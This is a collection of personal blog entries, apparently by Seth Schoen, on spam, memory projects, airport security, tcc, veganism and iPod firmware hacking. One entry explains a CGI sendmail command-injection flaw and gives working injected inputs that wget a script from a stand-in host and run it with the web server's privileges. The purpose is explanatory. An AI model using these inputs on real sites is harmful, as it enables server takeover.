Now I can understand my Portuguese spam (and so I don't immediately mark it as spam and delete it, because it has more intrinsic interest, and it's no longer immediately obvious from the language whether it's spam or not).
As Thomas Schelling suggests in The Strategy of Conflict, sometimes being able to understand something (or being able to receive messages, or being seen as rational) can be a real disadvantage. When you can understand, people can use language to try to deceive you, threaten you, propagandize you, annoy you, or simply waste your time. In the famous case of a threat, if you really plausibly don't understand the threat, for any reason whatsoever, the threat's effectiveness fails. If spammers could be sure that I didn't know any Portuguese, they would have no reason to spam me in Portuguese (and, if they did, I would have no reason to pay attention to their messages).
I get a lot of Korean spam, too, but I never have any doubt whether it's spam, and I'm never even tempted to try to read it -- let alone risking falling for some kind of scam or pitch conveyed in Korean.
Keely's time capsule post motivated me to fill out the same sort of thing for myself, but I don't think I want to post it here. Since I never spent more than four years at any one school after elementary school, the five-year jump is amazing for the way it vaults over entire periods of my life at school.
It reminds me, though, that on my 24th birthday in 2003 I thought of doing a project called "Method of Loci" which would rely on the fact that I live at 24th Street (and am pretty familiar with the lower-numbered streets in San Francisco because I used to live at 3rd Street and work at 8th Street. I wanted to be photographed at an intersection of each numbered street in San Francisco from 1st Street past my old corner on 3rd Street up to my corner at 24th Street, (There are some minor difficulties because there is no single street that runs from my old neighborhood into my new neighborhood and intersects all the numbered streets -- but that's OK, because I could just walk side to side and be sure of getting all of them.) At each intersection, I would be photographed in front of the appropriately numbered street sign, holding or wearing things that related to the corresponding year in my life, and I would end up at home, aged 24. I thought it would be an amazing aid to memory, and I actually did make a chart of when things happened to me, and I collected some memorabilia from different years. (It was pretty easy for me to find at least one thing for each year from about 1991 until the present, but much harder to find things from before then.)
That project didn't work out, but I'm still interested in doing something like that. It frustrates me that it's already hard for me to keep a sense of perspective about when things happened to me (or, for that matter, when things happened in world history). Often, it's hard to remember how quickly and how dramatically my life has changed. Since the numbered streets in my immediate neighborhood go up to 26th Street, I still have one more chance to do this sort of project this year, although I'd have to keep going a block and a half or so past my house.
The advantage of this sort of exercise, including the task of physically walking through the city, is that it lets you associate things with a geography that's already familiar. For example, you could then think of an event in terms of a particular building, and see the approximate distance between things, or think about how long something lasted, in familiar spatial terms. I don't want to suggest that there is something more natural or easier about thinking in terms of space than in terms of time. But since memory can be so unreliable, or partial, or difficult, associating events of memory with the seemingly stable physical world helps put them in perspective in a way that could be more accessible.
The method of loci is a mnemonic technique in which items in a series are associated mentally with places along a familiar route. Doing this helps many people recall the series in order without as much risk of leaving something out or recalling things in the wrong order. For many people, it can be very helpful.
I think anyone who lives in a city with numbered streets has a ready-made framework for a surprisingly interesting and powerful personal art project.
I was working on an article about this very aviation security loophole -- indeed, I have it as a draft in NewsBruiser -- but Slate beat me to it and wrote it up first. (Thanks to Boing Boing for the link.) Maybe I'll go back and add some more detail to my own version.
I was sad to see that Slate backs down on its initial skepticism of the No-Fly List. The article starts off this way:
The Homeland Security Department's No-Fly List has always seemed a bit absurd to me. [...] But even if you assume the No-Fly List serves an important purpose, the system as it presently operates contains a gaping, dangerous loophole that makes the list nearly useless.
(Of course, the loophole is only "dangerous" "if you assume the No-Fly List serves an important purpose", which the author initially claimed not to believe.)
But instead of ending the piece by advocating the elimination of the supposedly "absurd" and "nearly useless" No-Fly list, the author abruptly backpedals and calls for more rigorous procedures to enforce it:
Could an extra ID check slow us down a little? Yes, it probably would. Tough luck. We've already endured two wars and countless other disruptions in the name of safety. A few extra minutes at the airport isn't going to kill anyone.
Other people thinking about the effectiveness of security measures have thought that some of those measures were simply worthless. But these measures are not simply random and meaningless; they are often intrusive, demeaning, repressive, and error-prone. When a practice is actually useless for security, it ought to be at least a plausible argument for doing away with it.
For example, when I was at Oakland with Cory Doctorow (in his previous incarnation as a cigarette smoker) and he had to empty his cigarette lighter before carrying it on the plane, he tried to show the security screener the futility of this gesture by walking to a convenience store immediately inside the security checkpoint, buying a new lighter there, and bringing it back to the checkpoint. He had just purchased an item inside security comparable to what the screener had made him give up.
Now, a journalist could write a story about how awful it is that the convenience stores in airports are selling cigarette lighters. Or the journalist could write about how silly it is that screeners are taking them away from people. (Hint: TSA still expressly permits matches, and every airport seems to have stores selling enormous glass bottles of vodka.)
(Update: TSA rules apparently prohibit carrying those bottles on the airplane, but this might be hard to enforce -- especially the quantity limits -- since they get sold inside security checkpoints.)
Wow, Riana's eschatological preaching is about the geekiest thing I've seen all year. (Hint: this is a response to the Wang-Yin-Yu SHA-1 collision attack. Riana is standing in front of the RSA Conference.)
Praveen and Gwen and I went over to Berkeley to see Gilberto Gil, famous Brazilian musician and (it so happens) Ministro da Cultura do República Federativa do Brasil. (Also, close friend of John Perry Barlow's.) It was a good time; Gil played some of his music (which most of the audience, unlike me, knew by heart), and talked about cultural policy issues. He also made a lot of jokes.
When someone asked about how Brazil was affected by the International Monetary Fund (IMF), Gil said that in Brazil it's known as the FMI, but maybe it would be better to be able to call it the FIM (Portuguese for "end"). But then he gave a straight answer.
The moderator didn't ask my question about copyright, which is understandable, since it looked like hundreds of questions were submitted. Gil is speaking again this afternoon at ABADÁ, so I might get another chance.
The ALA v. FCC argument in the D.C. Circuit is today, but I haven't heard any news yet.
Chris Palmer just told me about a remarkable program called tcc, the Tiny C Compiler. tcc is unbelievably small and fast (it claims to be able to compile the entire Linux kernel in 10 seconds, which I keep thinking must be a misprint every time I see it), so that some people are actually compiling their kernels at boot time as part of the boot process, or so I'm given to understand.
But the other funny thing you can do with tcc is use C as a scripting language. For example,
[schoen@eleos tcc-0.9.22]$ cat hello.c
#!/usr/local/bin/tcc -run
int main(int argc, char *argv[]){
int i;
for(i=0; i<10; i++){
printf("%s: Hello, %d world!\n", argv[0], i);
}
}
[schoen@eleos tcc-0.9.22]$ ./hello.c
./hello.c: Hello, 0 world!
./hello.c: Hello, 1 world!
./hello.c: Hello, 2 world!
./hello.c: Hello, 3 world!
./hello.c: Hello, 4 world!
./hello.c: Hello, 5 world!
./hello.c: Hello, 6 world!
./hello.c: Hello, 7 world!
./hello.c: Hello, 8 world!
./hello.c: Hello, 9 world!
Suppose that you have a CGI script responsible for processing a form that allows users to send mail to other people by entering their e-mail addresses, and suppose that the CGI form performs some minimal validation of e-mail addresses by requiring that they be separated by spaces or commas and that they contain @ signs.
Suppose that the CGI script in question implements the process of sending mail by calling
system("sendmail " + user_supplied_address_list)
from a scripting language like Perl or Python. (In practice it would probably be popen instead of system, but popen works much like system and has the same vulnerabilities.)
Here's a simple way of exploiting this script to gain access to the web server. On a web server you control, say www.example.com, create a file called att@ck in the root directory, containing a #!/bin/sh line followed by code you would like to run on the web server under attack. Then submit the CGI form with the recipient address list
you@example.com;wget -O/tmp/att@ck www.example.com/att@ck
and then submit it a second time with the recipient address list
you@example.com;sh /tmp/att@ck
This will result in the remote system executing the two commands
system("sendmail you@example.com;wget -O/tmp/att@ck www.example.com/att@ck")
and
system("sendmail you@example.com;sh /tmp/att@ck")
which will result in the code from http://www.example.com/att@ck being run with the web server's privileges on the system that hosts the CGI script. (Each of the tokens in the example above is a single string containing an @, so trivial e-mail address validation -- without removing the semicolon character -- won't fix this problem!)
This vulnerability is ancient and very widely discussed; the equivalent problem has plagued many people's software for years, even though mechanisms like these have been well documented and are the major inspiration for things like Perl's Taint Mode, but it still works against freshly-written scripts, and many sites are vulnerable. Being vulnerable to this feels kind of like coming down with some ancient and unfashionable disease like scurvy. That's so 18th-century!
Yesterday I decided to try to become a vegan, after right around 17 years of lacto-ovo-vegetarianism. My current thought is that I'll always be strictly lacto-ovo-vegetarian, but that I should be able to buy only vegan food when buying food for myself. (I would still eat lacto-ovo-vegetarian when eating food that other people had provided, or somewhere where vegan food isn't available.) Following that practice doesn't actually constitute "being vegan", but rather something like "preferring a vegan diet". In San Francisco, this seems remarkably easy; the only time I regularly eat eggs or milk today is in desserts, pizza, and nachos. Perhaps 80% or more of my meals in the last month were already vegan or had only trivial amounts of eggs or milk in them. (About 80% of the food I usually prepare for myself is also already vegan, and my favorite cuisines are high-carb versions of Ethiopian and Asian foods where the vegetarian dishes are typically vegan.)
I find it really exciting to pursue a project like this. It reminds me very much of something that I might have done when I was younger, and stirs up all sorts of feelings of possibility and nostalgia. It's also very convenient that I'm about to get a third housemate who's a longtime vegan.
Thanks to Mako, I heard about a remarkable piece of reverse engineering. A reverse engineer (Nils Schneider) wanted to study the firmware of the Apple iPod in order to figure out how to write software that runs on iPods. But he experienced a chicken-and-egg problem: after learning how to write simple programs to run on an iPod, he found that he couldn't figure out how to use the iPod's I/O hardware (in order to extract a copy of the firmwire) without studying the firmwire first to see how Apple does I/O. At the same time, he couldn't study the firmware without first extracting a copy of it.
His ingenious solution was to use someone else's technique for making the iPod squawk and squeak, in order to write a program that output the firmware as a series of sounds (which could then be recorded using a microphone, and analyzed using software on a PC in order to convert them back into a digital representation of the firmware). In effect, he turned the iPod and microphone system into an acoustic modem, and wrote his own modulation scheme for representing data as sound. He wasn't using the iPod's headphone jack; he was making the iPod itself squeak and squawk, using a piezoelectric element somewhere inside the iPod. To protect against background noise, he had to put the iPod and the microphone together inside a padded box, and let them sit for eight hours.
Somehow this reminds me of the scene in William Gibson's "Johnny Mnemonic" in which Johnny is made to recite (for three hours) a memorized computer program to which he has no conscious access. "And
then it all faded to cool gray static and an endless tone poem in the
artificial language. I sat and sang dead Ralfi's stolen program for three hours." In the story, the program in question is a misappropriated secret; here, despite the interesting aesthetic parallel, I think Schneider's purpose in studying the iPod's firmware is perfectly proper.
In fact, Nils Schneider's remarkable creativity with the iPod gives me a kind of hope for the future. In seventh grade, when I had a computer with a dead monitor (I think it turned out to be unplugged), I wrote a routine to give output in terms of beeps on the speaker; you could tell if a program was working by counting the number of beeps it output. (Strings could be translated into binary and then beeped at you that way, but it was a little tedious writing them down and trying to decode them.)
Schneider's ingenious approach shows several important virtues:
- User innovation and the lack of passivity. Apple didn't intend for third-party software to be used with the iPod; not only was Schneider unconcerned with this, he ended up using the iPod in a way that its developers wouldn't have anticipated (and, if they've heard about it, are probably amused or startled by). He certainly refused to limit his thinking to what the original manufacturer had in mind; he insisted, on, well, thinking different.
- Consciousness of history. This problem was solved before in an earlier generation of technology. As Dave Farber has often pointed out, it's tragic that computer scientists and programmers working today are often thoroughly ignorant of what earlier generations have already invented and implemented. Even more than other fields, computing may be repeating and duplicating effort all the time. The notion of modulating digital data as a waveform at audio frequencies has been deeply important in digital communications, but it's easy enough for people who don't use a modem any more to forget it -- never mind people who (like myself) have never had to use an acoustic coupler.
- An appreciation for the universality of the machine. The idea that data is data and that representations and encodings of it are merely accidental goes back, depending on how you want to count it, decades or centuries. (See, e.g., Umberto Eco, The Search for the Perfect Language (Malden, MA: Blackwell Publishers, 1997), for some antecedents of this idea in the days before Shannon, Turing, and von Neumann.) But even so, we can get stuck in what cognitive psychologists call "functional fixedness" and refuse to think about data outside of its current representation. We can refuse to think of some signalling method or storage medium as capable of representing any data, of communications media and computing devices as genuinely universal. We can say that certain outputs were made for certain purposes and stubbornly refuse to consider that there are other outputs, even outputs that may be a problem for somebody's security policy. We can read Shannon, or anything after Shannon, and still not know in a practical sense that any data can be encoded on any channel. But Schneider thought with an abstraction and generality that befits an "information age"; he knew that bits are bits, from a communication engineering point of view, and meaning comes after, at another layer.
- Hack value. It can be risky to describe something as having "hack value"; those words now appear in a judicial opinion together with a footnote pointing out that the parties to the action have not defined them. So let me note the Jargon File's definition, and (at the risk of overusing it, and although one could argue that it refers to a somewhat different concept) the famous discussion in The Diamond Age: "Pardon me, Your Honor, the concept is not easy to explain -- there is an ineffable quality to some technology, described by its creators as a concinnitous, or technically sweet, or a nice hack -- signs that it was made with great care by one who was not merely motivated but inspired. It is the difference between an engineer and a hacker."
Richard Stallman writes:
But [IBM's] cooperation is incomplete: when I asked for the specifications necessary to make LinuxBIOS run on [ThinkPad] laptops, IBM refused -- citing, as the reason, the enforcement of "trusted computing".
Does anyone have more technical details on this? It doesn't seem inherently necessary to TCG's design that users be prevented from loading their own BIOS. In any case, if the ThinkPad BIOS can be flashed, it's not as if users can be prevented from substituting their own BIOS. Is it possible that many of the TCG CRTM functions were implemented by IBM within its BIOS and simply can't be moved outside of the BIOS on current ThinkPad designs?
[Main]
Contact: Seth David Schoen
